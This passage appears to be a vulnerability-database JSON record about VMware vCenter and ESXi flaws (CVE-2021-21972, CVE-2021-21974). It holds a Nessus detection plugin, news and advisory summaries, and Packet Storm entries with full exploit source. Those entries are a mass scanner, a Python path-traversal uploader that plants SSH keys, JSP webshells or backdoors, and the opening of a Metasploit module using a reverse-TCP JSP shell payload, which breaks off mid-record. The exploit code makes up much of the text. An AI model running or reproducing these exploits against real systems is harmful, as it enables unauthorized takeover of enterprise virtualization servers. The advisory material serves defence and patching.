severity:SECURITY_HOLE, extra:report);\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-03-07T07:43:52", "description": "The remote VMware ESXi host is version 6.5, 6.7 or 7.0 and is affected by a remote code execution vulnerability. \nOpenSLP as used in ESXi (7.0 before ESXi70U1c-17325551, 6.7 before ESXi670-202102401-SG, 6.5 before\nESXi650-202102101-SG) has a heap-overflow vulnerability. A malicious actor residing within the same network segment as\nESXi who has access to port 427 may be able to trigger the heap-overflow issue in OpenSLP service resulting in remote\ncode execution.\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.", "edition": 4, "cvss3": {"score": 8.8, "vector": "AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2021-02-25T00:00:00", "title": "ESXi 6.5 / 6.7 / 7.0 RCE (VMSA-2021-0002)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2021-21974"], "modified": "2021-02-25T00:00:00", "cpe": ["cpe:/o:vmware:esxi"], "id": "VMWARE_ESXI_VMSA-2021-0002.NASL", "href": "https://www.tenable.com/plugins/nessus/146827", "sourceData": "##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('compat.inc');\n\nif (description)\n{\n script_id(146827);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/03/05\");\n\n script_cve_id(\"CVE-2021-21974\");\n script_xref(name:\"IAVA\", value:\"2021-A-0109\");\n\n script_name(english:\"ESXi 6.5 / 6.7 / 7.0 RCE (VMSA-2021-0002)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote VMware ESXi host is missing a security patch and is affected by a remote code execution vulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote VMware ESXi host is version 6.5, 6.7 or 7.0 and is affected by a remote code execution vulnerability. \nOpenSLP as used in ESXi (7.0 before ESXi70U1c-17325551, 6.7 before ESXi670-202102401-SG, 6.5 before\nESXi650-202102101-SG) has a heap-overflow vulnerability. A malicious actor residing within the same network segment as\nESXi who has access to port 427 may be able to trigger the heap-overflow issue in OpenSLP service resulting in remote\ncode execution.\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.vmware.com/security/advisories/VMSA-2021-0002.html\");\n script_set_attribute(attribute:\"solution\", value:\n\"Apply the appropriate patch as referenced in the vendor advisory.\");\n script_set_cvss_base_vector(\"CVSS2#AV:A/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-21974\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/02/23\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/02/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/02/25\");\n\n script_set_attribute(attribute:\"potential_vulnerability\", value:\"true\");\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:vmware:esxi\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"vmware_vsphere_detect.nbin\");\n script_require_keys(\"Host/VMware/version\", \"Host/VMware/release\", \"Settings/ParanoidReport\");\n\n exit(0);\n}\n\n# Not checking workaround https://kb.vmware.com/s/article/76372\nif (report_paranoia < 2)\n audit(AUDIT_PARANOID);\n\nfixes = make_array(\n '6.5', '17477841', # ESXi650-202102001, ESXi 6.5 P06\n '6.7', '17499825', # ESXi670-202102001, ESXI 6.7 EP18\n '7.0', '17325551' # ESXi 7.0 Update 1c\n);\n\nrel = get_kb_item_or_exit('Host/VMware/release');\nif ('ESXi' >!< rel) audit(AUDIT_OS_NOT, 'ESXi');\n\nver = get_kb_item_or_exit('Host/VMware/version');\nport = get_kb_item_or_exit('Host/VMware/vsphere');\n\nmatch = pregmatch(pattern:\"^ESXi? ([0-9]+\\.[0-9]+).*$\", string:ver);\nif (isnull(match)) audit(AUDIT_UNKNOWN_BUILD, 'VMware ESXi', '6.5 / 6.7 / 7.0');\nver = match[1];\n\nif (ver !~ \"^(7\\.0|6\\.(5|7))$\") audit(AUDIT_OS_NOT, 'ESXi 6.5 / 6.7 / 7.0');\n\nfixed_build = int(fixes[ver]);\n\nif (empty_or_null(fixed_build)) audit(AUDIT_VER_FORMAT, ver);\n\nmatch = pregmatch(pattern:\"^VMware ESXi.*build-([0-9]+)$\", string:rel);\nif (isnull(match)) audit(AUDIT_UNKNOWN_BUILD, 'VMware ESXi', '6.5 / 6.7 / 7.0');\n\nbuild = int(match[1]);\n\nif (build >= fixed_build) audit(AUDIT_INST_VER_NOT_VULN, 'VMware ESXi', ver + ' build ' + build);\n\nreport = '\\n ESXi version : ' + ver +\n '\\n Installed build : ' + build +\n '\\n Fixed build : ' + fixed_build +\n '\\n';\n\nsecurity_report_v4(port:port, severity:SECURITY_WARNING, extra:report);\n", "cvss": {"score": 5.8, "vector": "AV:A/AC:L/Au:N/C:P/I:P/A:P"}}], "wallarmlab": [{"lastseen": "2021-03-09T10:55:54", "bulletinFamily": "blog", "cvelist": ["CVE-2021-21972"], "description": "The recent critical security issue in VMware vCenter was discovered this January and fixed on February 23rd https://www.vmware.com/security/advisories/VMSA-2021-0002.html. The exploit looks like a simple JSP shell upload, but for some reason, it&#x27;s a blind spot for Web Application Firewalls (WAFs). Let&#x27;s understand why. The CVE-2021-21972 affects vCenter versions 6.5, 6.7, and 7.0. The exploit for Metasploit released https://vulners.com/packetstorm/PACKETSTORM:161695 today. [...]\n\nThe post [Why WAFs can&#x27;t catch VMware CVE-2021-21972 Remote Code Execution Exploit?](<https://lab.wallarm.com/why-wafs-cant-catch-vmware-cve-2021-21972-remote-code-execution-exploit/>) appeared first on [Wallarm Blog](<https://lab.wallarm.com>).", "modified": "2021-03-08T20:22:27", "published": "2021-03-08T20:22:27", "id": "WALLARMLAB:7A0E7E3752712070F3E75CEF26AC2CC0", "href": "https://lab.wallarm.com/why-wafs-cant-catch-vmware-cve-2021-21972-remote-code-execution-exploit/", "type": "wallarmlab", "title": "Why WAFs can\u2019t catch VMware CVE-2021-21972 Remote Code Execution Exploit?", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2021-02-25T05:32:07", "bulletinFamily": "info", "cvelist": ["CVE-2019-19781", "CVE-2020-3992", "CVE-2021-21972", "CVE-2021-21973", "CVE-2021-21974", "CVE-2021-21976"], "description": "[](<https://thehackernews.com/images/-M_1KgL6tAuQ/YDYE-aJuyBI/AAAAAAAAB38/asAWmk7ZJscXPGS_gHJudw0GOAZrcEX7wCLcBGAsYHQ/s0/vmware.jpg>)\n\nVMware has addressed multiple critical remote code execution (RCE) vulnerabilities in VMware ESXi and vSphere Client virtual infrastructure management platform that may allow attackers to execute arbitrary commands and take control of affected systems.\n\n\"A malicious actor with network access to port 443 may exploit this issue to execute commands with unrestricted privileges on the underlying operating system that hosts vCenter Server,\" the company [said](<https://www.vmware.com/security/advisories/VMSA-2021-0002.html>) in its advisory.\n\nThe vulnerability, tracked as CVE-2021-21972, has a CVSS score of 9.8 out of a maximum of 10, making it critical in severity.\n\n\"In our opinion, the RCE vulnerability in the vCenter Server can pose no less a threat than the infamous vulnerability in Citrix (CVE-2019-19781),\" said Positive Technologies' Mikhail Klyuchnikov, who discovered and reported the flaw to VMware.\n\n\"The error allows an unauthorized user to send a specially crafted request, which will later give them the opportunity to execute arbitrary commands on the server.\"\n\nWith this access in place, the attacker can then successfully move through the corporate network and gain access to the data stored in the vulnerable system, such as information about virtual machines and system users, [Klyuchnikov noted](<https://swarm.ptsecurity.com/unauth-rce-vmware/>).\n\nSeparately, a second vulnerability (CVE-2021-21973, CVSS score 5.3) allows unauthorized users to send POST requests, permitting an adversary to mount further attacks, including the ability to scan the company's internal network and retrieve specifics about the open ports of various services.\n\nThe information disclosure issue, according to VMware, stems from an SSRF (Server Side Request Forgery) vulnerability due to improper validation of URLs in the vCenter Server plugin.\n\n[](<https://thehackernews.com/images/-ptRHS90VS-M/YDaOLCFCy0I/AAAAAAAA3oU/eE4iu9IU3WI1xoEKlX6eypn5wcFlZWhwQCLcBGAsYHQ/s0/command.jpg>)\n\nVMware has also provided workarounds to remediate CVE-2021-21972 and CVE-2021-21973 temporarily until the updates can be deployed. Detailed steps can be found [here](<https://kb.vmware.com/s/article/82374>).\n\nIt's worth noting that VMware rectified a command injection vulnerability in its vSphere Replication product ([CVE-2021-21976](<https://www.vmware.com/security/advisories/VMSA-2021-0001.html>), CVSS score 7.2) earlier this month that could grant a bad actor with administrative privileges to execute shell commands and achieve RCE.\n\nLastly, VMware also resolved a heap-overflow bug (CVE-2021-21974, CVSS score 8.8) in ESXi's service location protocol (SLP), potentially allowing an attacker on the same network to send malicious SLP requests to an ESXi device and take control of it.\n\n[OpenSLP](<https://www.openslp.org/doc/html/IntroductionToSLP/index.html>) provides a framework to allow networking applications to discover the existence, location, and configuration of networked services in enterprise networks.\n\nThe latest fix for ESXi OpenSLP comes on the heels of a similar patch ([CVE-2020-3992](<https://www.vmware.com/security/advisories/VMSA-2020-0023.html>)) last November that could be leveraged to trigger a [use-after-free](<https://cwe.mitre.org/data/definitions/416.html>) in the OpenSLP service, leading to remote code execution.\n\nNot long after, reports of active exploitation attempts emerged in the wild, with ransomware gangs [abusing](<https://twitter.com/GossiTheDog/status/1324896051128635392>) the vulnerability to take over unpatched virtual machines deployed in enterprise environments and encrypt their virtual hard drives.\n\nIt's highly recommended that users install the updates to eliminate the risk associated with the flaws, in addition to \"removing vCenter Server interfaces from the perimeter of organizations, if they are there, and allocate them to a separate VLAN with a limited access list in the internal network.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "modified": "2021-02-24T17:35:31", "published": "2021-02-24T07:54:00", "id": "THN:87AE96960D76D6C84D9CF86C2DDB837C", "href": "https://thehackernews.com/2021/02/critical-rce-flaw-affects-vmware.html", "type": "thn", "title": "Critical RCE Flaws Affect VMware ESXi and vSphere Client \u2014 Patch Now", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "zdi": [{"lastseen": "2021-02-24T19:27:37", "bulletinFamily": "info", "cvelist": ["CVE-2021-21974"], "description": "This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of VMware ESXi. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of SLP messages. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the SLP daemon.", "edition": 1, "modified": "2021-02-24T00:00:00", "published": "2021-02-24T00:00:00", "id": "ZDI-21-250", "href": "https://www.zerodayinitiative.com/advisories/ZDI-21-250/", "title": "VMware ESXi SLP Heap-based Buffer Overflow Remote Code Execution Vulnerability", "type": "zdi", "cvss": {"score": 0.0, "vector": "NONE"}}], "packetstorm": [{"lastseen": "2021-02-24T15:05:40", "description": "", "published": "2021-02-24T00:00:00", "type": "packetstorm", "title": "VMware vCenter 6.5 / 7.0 Remote Code Execution Proof Of Concept", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-21972"], "modified": "2021-02-24T00:00:00", "id": "PACKETSTORM:161527", "href": "https://packetstormsecurity.com/files/161527/VMware-vCenter-6.5-7.0-Remote-Code-Execution-Proof-Of-Concept.html", "sourceData": "`#-*- coding:utf-8 -*- \nbanner = \"\"\" \n888888ba dP \n88 `8b 88 \na88aaaa8P' .d8888b. d8888P .d8888b. dP dP \n88 `8b. 88' `88 88 Y8ooooo. 88 88 \n88 .88 88. .88 88 88 88. .88 \n88888888P `88888P8 dP `88888P' `88888P' \nooooooooooooooooooooooooooooooooooooooooooooooooooooo \n@time:2021/02/24 CVE-2021-21972.py \nC0de by NebulabdSec - @batsu \n\"\"\" \nprint(banner) \n \nimport threadpool \nimport random \nimport requests \nimport argparse \nimport http.client \nimport urllib3 \n \nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) \nhttp.client.HTTPConnection._http_vsn = 10 \nhttp.client.HTTPConnection._http_vsn_str = 'HTTP/1.0' \n \nTARGET_URI = \"/ui/vropspluginui/rest/services/uploadova\" \n \ndef get_ua(): \nfirst_num = random.randint(55, 62) \nthird_num = random.randint(0, 3200) \nfourth_num = random.randint(0, 140) \nos_type = [ \n'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)', \n'(Macintosh; Intel Mac OS X 10_12_6)' \n] \nchrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) \n \nua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36', \n'(KHTML, like Gecko)', chrome_version, 'Safari/537.36'] \n) \nreturn ua \n \ndef CVE_2021_21972(url): \nproxies = {\"scoks5\": \"http://127.0.0.1:1081\"} \nheaders = { \n'User-Agent': get_ua(), \n\"Content-Type\": \"application/x-www-form-urlencoded\" \n} \ntargetUrl = url + TARGET_URI \ntry: \nres = requests.get(targetUrl, \nheaders=headers, \ntimeout=15, \nverify=False, \nproxies=proxies) \n# proxies={'socks5': 'http://127.0.0.1:1081'}) \n# print(len(res.text)) \nif res.status_code == 405: \nprint(\"[+] URL:{}--------\u5b58\u5728CVE-2021-21972\u6f0f\u6d1e\".format(url)) \n# print(\"[+] Command success result: \" + res.text + \"\\n\") \nwith open(\"\u5b58\u5728\u6f0f\u6d1e\u5730\u5740.txt\", 'a') as fw: \nfw.write(url + '\\n') \nelse: \nprint(\"[-] \" + url + \" \u6ca1\u6709\u53d1\u73b0CVE-2021-21972\u6f0f\u6d1e.\\n\") \n# except Exception as e: \n# print(e) \nexcept: \nprint(\"[-] \" + url + \" Request ERROR.\\n\") \ndef multithreading(filename, pools=5): \nworks = [] \nwith open(filename, \"r\") as f: \nfor i in f: \nfunc_params = [i.rstrip(\"\\n\")] \n# func_params = [i] + [cmd] \nworks.append((func_params, None)) \npool = threadpool.ThreadPool(pools) \nreqs = threadpool.makeRequests(CVE_2021_21972, works) \n[pool.putRequest(req) for req in reqs] \npool.wait() \n \ndef main(): \nparser = argparse.ArgumentParser() \nparser.add_argument(\"-u\", \n\"--url\", \nhelp=\"Target URL; Example:http://ip:port\") \nparser.add_argument(\"-f\", \n\"--file\", \nhelp=\"Url File; Example:url.txt\") \n# parser.add_argument(\"-c\", \"--cmd\", help=\"Commands to be executed; \") \nargs = parser.parse_args() \nurl = args.url \n# cmd = args.cmd \nfile_path = args.file \nif url != None and file_path ==None: \nCVE_2021_21972(url) \nelif url == None and file_path != None: \nmultithreading(file_path, 10) # \u9ed8\u8ba415\u7ebf\u7a0b \n \nif __name__ == \"__main__\": \nmain() \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/161527/CVE-2021-21972.py.txt"}, {"lastseen": "2021-03-01T16:09:17", "description": "", "published": "2021-03-01T00:00:00", "type": "packetstorm", "title": "VMware vCenter Server 7.0 Arbitrary File Upload", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-21972"], "modified": "2021-03-01T00:00:00", "id": "PACKETSTORM:161590", "href": "https://packetstormsecurity.com/files/161590/VMware-vCenter-Server-7.0-Arbitrary-File-Upload.html", "sourceData": "`# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload \n# Date: 2021-02-27 \n# Exploit Author: Photubias \n# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html \n# Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517) \n# Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds \n# CVE: CVE-2021-21972 \n \n#!/usr/bin/env python3 \n''' \nCopyright 2021 Photubias(c) \nThis program is free software: you can redistribute it and/or modify \nit under the terms of the GNU General Public License as published by \nthe Free Software Foundation, either version 3 of the License, or \n(at your option) any later version. \n \nThis program is distributed in the hope that it will be useful, \nbut WITHOUT ANY WARRANTY; without even the implied warranty of \nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \nGNU General Public License for more details. \n \nYou should have received a copy of the GNU General Public License \nalong with this program. If not, see <http://www.gnu.org/licenses/>. \n \nFile name CVE-2021-21972.py \nwritten by tijl[dot]deneut[at]howest[dot]be for www.ic4.be \n \nCVE-2021-21972 is an unauthenticated file upload and overwrite, \nexploitation can be done via SSH public key upload or a webshell \nThe webshell must be of type JSP, and its success depends heavily on the specific vCenter version \n \n# Manual verification: https://<ip>/ui/vropspluginui/rest/services/checkmobregister \n# A white page means vulnerable \n# A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet) \n# Notes: \n# * On Linux SSH key upload is always best, when SSH access is possible & enabled \n# * On Linux the upload is done as user vsphere-ui:users \n# * On Windows the upload is done as system user \n# * vCenter 6.5 <=7515524 does not contain the vulnerable component \"vropspluginui\" \n# * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload \n \nThis is a native implementation without requirements, written in Python 3. \nWorks equally well on Windows as Linux (as MacOS, probably ;-) \n \nFeatures: vulnerability checker + exploit \n''' \n \nimport os, tarfile, sys, optparse, requests \nrequests.packages.urllib3.disable_warnings() \n \nlProxy = {} \nSM_TEMPLATE = b'''<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"> \n<env:Body> \n<RetrieveServiceContent xmlns=\"urn:vim25\"> \n<_this type=\"ServiceInstance\">ServiceInstance</_this> \n</RetrieveServiceContent> \n</env:Body> \n</env:Envelope>''' \nsURL = sFile = sRpath = sType = None \n \ndef parseArguments(options): \nglobal sURL, sFile, sType, sRpath, lProxy \nif not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.') \nsURL = options.url \nif sURL[-1:] == '/': sURL = sURL[:-1] \nif not sURL[:4].lower() == 'http': sURL = 'https://' + sURL \nsFile = options.file \nif not os.path.exists(sFile): exit('[-] File not found: ' + sFile) \nsType = 'ssh' \nif options.type: sType = options.type \nif options.rpath: sRpath = options.rpath \nelse: sRpath = None \nif options.proxy: lProxy = {'https': options.proxy} \n \ndef getVersion(sURL): \ndef getValue(sResponse, sTag = 'vendor'): \ntry: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0] \nexcept: pass \nreturn '' \noResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE) \n#print(oResponse.text) \nif oResponse.status_code == 200: \nsResult = oResponse.text \nif not 'VMware' in getValue(sResult, 'vendor'): \nexit('[-] Not a VMware system: ' + sURL) \nelse: \nsName = getValue(sResult, 'name') \nsVersion = getValue(sResult, 'version') # e.g. 7.0.0 \nsBuild = getValue(sResult, 'build') # e.g. 15934073 \nsFull = getValue(sResult, 'fullName') \nprint('[+] Identified: ' + sFull) \nreturn sVersion, sBuild \nexit('[-] Not a VMware system: ' + sURL) \n \ndef verify(sURL): \n#return True \nsURL += '/ui/vropspluginui/rest/services/uploadova' \ntry: \noResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5) \nexcept: \nexit('[-] System not available: ' + sURL) \nif oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely \nelse: return False \n \ndef createTarLin(sFile, sType, sVersion, sBuild, sRpath = None): \ndef getResourcePath(): \noResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5) \nreturn oResponse.text.split('static/')[1].split('/')[0] \noTar = tarfile.open('payloadLin.tar','w') \nif sRpath: ## version & build not important \nif sRpath[0] == '/': sRpath = sRpath[1:] \nsPayloadPath = '../../' + sRpath \noTar.add(sFile, arcname=sPayloadPath) \noTar.close() \nreturn 'absolute' \nelif sType.lower() == 'ssh': ## version & build not important \nsPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys' \noTar.add(sFile, arcname=sPayloadPath) \noTar.close() \nreturn 'ssh' \nelif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631): \n## vCenter 6.5/6.7 < 13010631, just this location with a subnumber \nsPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile) \nprint('[!] Selected uploadpath: ' + sPayloadPath[5:]) \nfor i in range(112): oTar.add(sFile, arcname=sPayloadPath % i) \noTar.close() \nreturn 'webshell' \nelif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631): \n## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile> \nsPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile) \nprint('[!] Selected uploadpath: ' + sPayloadPath[5:]) \noTar.add(sFile, arcname=sPayloadPath) \noTar.close() \nreturn 'backdoor' \nelse: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0): \n## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>) \nsPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile) \nprint('[!] Selected uploadpath: ' + sPayloadPath[5:]) \noTar.add(sFile, arcname=sPayloadPath) \noTar.close() \nreturn 'backdoor' \n \n \ndef createTarWin(sFile, sRpath = None): \n## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows \nif sRpath: \nif sRpath[0] == '/': sRpath = sRpath[:1] \nsPayloadPath = '../../' + sRpath \nelse: \nsPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile) \noTar = tarfile.open('payloadWin.tar','w') \noTar.add(sFile, arcname=sPayloadPath) \noTar.close() \n \ndef uploadFile(sURL, sUploadType, sFile): \n#print('[!] Uploading ' + sFile) \nsFile = os.path.basename(sFile) \nsUploadURL = sURL + '/ui/vropspluginui/rest/services/uploadova' \narrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')} \n## Linux \noResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy) \nif oResponse.status_code == 200: \nif oResponse.text == 'SUCCESS': \nprint('[+] Linux payload uploaded succesfully.') \nif sUploadType == 'ssh': \nprint('[+] SSH key installed for user \\'vsphere-ui\\'.') \nprint(' Please run \\'ssh vsphere-ui@' + sURL.replace('https://','') + '\\'') \nreturn True \nelif sUploadType == 'webshell': \nsWebshell = sURL + '/ui/resources/' + sFile \n#print('testing ' + sWebshell) \noResponse = requests.get(sWebshell, verify=False, proxies = lProxy) \nif oResponse.status_code != 404: \nprint('[+] Webshell verified, please visit: ' + sWebshell) \nreturn True \nelif sUploadType == 'backdoor': \nsWebshell = sURL + '/ui/resources/' + sFile \nprint('[+] Backdoor ready, please reboot or wait for a reboot') \nprint(' then open: ' + sWebshell) \nelse: ## absolute \npass \n## Windows \narrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')} \noResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy) \nif oResponse.status_code == 200: \nif oResponse.text == 'SUCCESS': \nprint('[+] Windows payload uploaded succesfully.') \nif sUploadType == 'backdoor': \nprint('[+] Absolute upload looks OK') \nreturn True \nelse: \nsWebshell = sURL + '/statsreport/' + sFile \noResponse = requests.get(sWebshell, verify=False, proxies = lProxy) \nif oResponse.status_code != 404: \nprint('[+] Webshell verified, please visit: ' + sWebshell) \nreturn True \nreturn False \n \nif __name__ == \"__main__\": \nusage = ( \n'Usage: %prog [option]\\n' \n'Exploiting Windows & Linux vCenter Server\\n' \n'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \\'\\'\\n' \n'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\\n' \n'Note2: Windows is the most vulnerable, but less mostly deprecated anyway') \n \nparser = optparse.OptionParser(usage=usage) \nparser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1') \nparser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell') \nparser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh') \nparser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile') \nparser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1:8080') \n \n(options, args) = parser.parse_args() \n \nparseArguments(options) \n \n## Verify \nif verify(sURL): print('[+] Target vulnerable: ' + sURL) \nelse: exit('[-] Target not vulnerable: ' + sURL) \n \n## Read out the version \nsVersion, sBuild = getVersion(sURL) \nif sRpath: print('[!] Ready to upload your file to ' + sRpath) \nelif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \\'' + sFile + '\\'') \nelse: print('[!] Ready to upload webshell \\'' + sFile + '\\'') \nsAns = input('[?] Want to exploit? [y/N]: ') \nif not sAns or not sAns[0].lower() == 'y': exit() \n \n## Create TAR file \nsUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath) \nif not sUploadType == 'ssh': createTarWin(sFile, sRpath) \n \n## Upload and verify \nuploadFile(sURL, sUploadType, sFile) \n \n## Cleanup \nos.remove('payloadLin.tar') \nos.remove('payloadWin.tar') \n \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/161590/vmwarevcenterserver70-upload.txt"}, {"lastseen": "2021-03-08T16:24:36", "description": "", "published": "2021-03-08T00:00:00", "type": "packetstorm", "title": "VMware vCenter Server File Upload / Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2021-21972"], "modified": "2021-03-08T00:00:00", "id": "PACKETSTORM:161695", "href": "https://packetstormsecurity.com/files/161695/VMware-vCenter-Server-File-Upload-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \n \n# \"Shotgun\" approach to writing JSP \nRank = ManualRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::CheckModule \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::FileDropper \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'VMware vCenter Server Unauthenticated OVA File Upload RCE', \n'Description' => %q{ \nThis module exploits an unauthenticated OVA file upload and path \ntraversal in VMware vCenter Server to write a JSP payload to a \nweb-accessible directory. \n \nFixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c. \nNote that later vulnerable versions of the Linux appliance aren't \nexploitable via the webshell technique. Furthermore, writing an SSH \npublic key to /home/vsphere-ui/.ssh/authorized_keys works, but the \nuser's non-existent password expires 90 days after install, rendering \nthe technique nearly useless against production environments. \n \nYou'll have the best luck targeting older versions of the Linux \nappliance. The Windows target should work ubiquitously. \n}, \n'Author' => [ \n'Mikhail Klyuchnikov', # Discovery \n'wvu', # Analysis and exploit \n'mr_me', # Co-conspirator \n'Viss' # Co-conspirator \n], \n'References' => [ \n['CVE', '2021-21972'], \n['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0002.html'], \n['URL', 'https://swarm.ptsecurity.com/unauth-rce-vmware/'], \n['URL', 'https://twitter.com/jas502n/status/1364810720261496843'], \n['URL', 'https://twitter.com/_0xf4n9x_/status/1364905040876503045'], \n['URL', 'https://twitter.com/HackingLZ/status/1364636303606886403'], \n['URL', 'https://kb.vmware.com/s/article/2143838'], \n['URL', 'https://nmap.org/nsedoc/scripts/vmware-version.html'] \n], \n'DisclosureDate' => '2021-02-23', # Vendor advisory \n'License' => MSF_LICENSE, \n'Platform' => ['linux', 'win'], \n'Arch' => ARCH_JAVA, \n'Privileged' => false, # true on Windows \n'Targets' => [ \n[ \n# TODO: /home/vsphere-ui/.ssh/authorized_keys \n'VMware vCenter Server <= 6.7 Update 1b (Linux)', \n{ \n'Platform' => 'linux' \n} \n], \n[ \n'VMware vCenter Server <= 6.7 Update 3j (Windows)', \n{ \n'Platform' => 'win' \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'SSL' => true, \n'PAYLOAD' => 'java/jsp_shell_reverse_tcp', \n'CheckModule' => 'auxiliary/scanner/vmware/esx_fingerprint' \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => 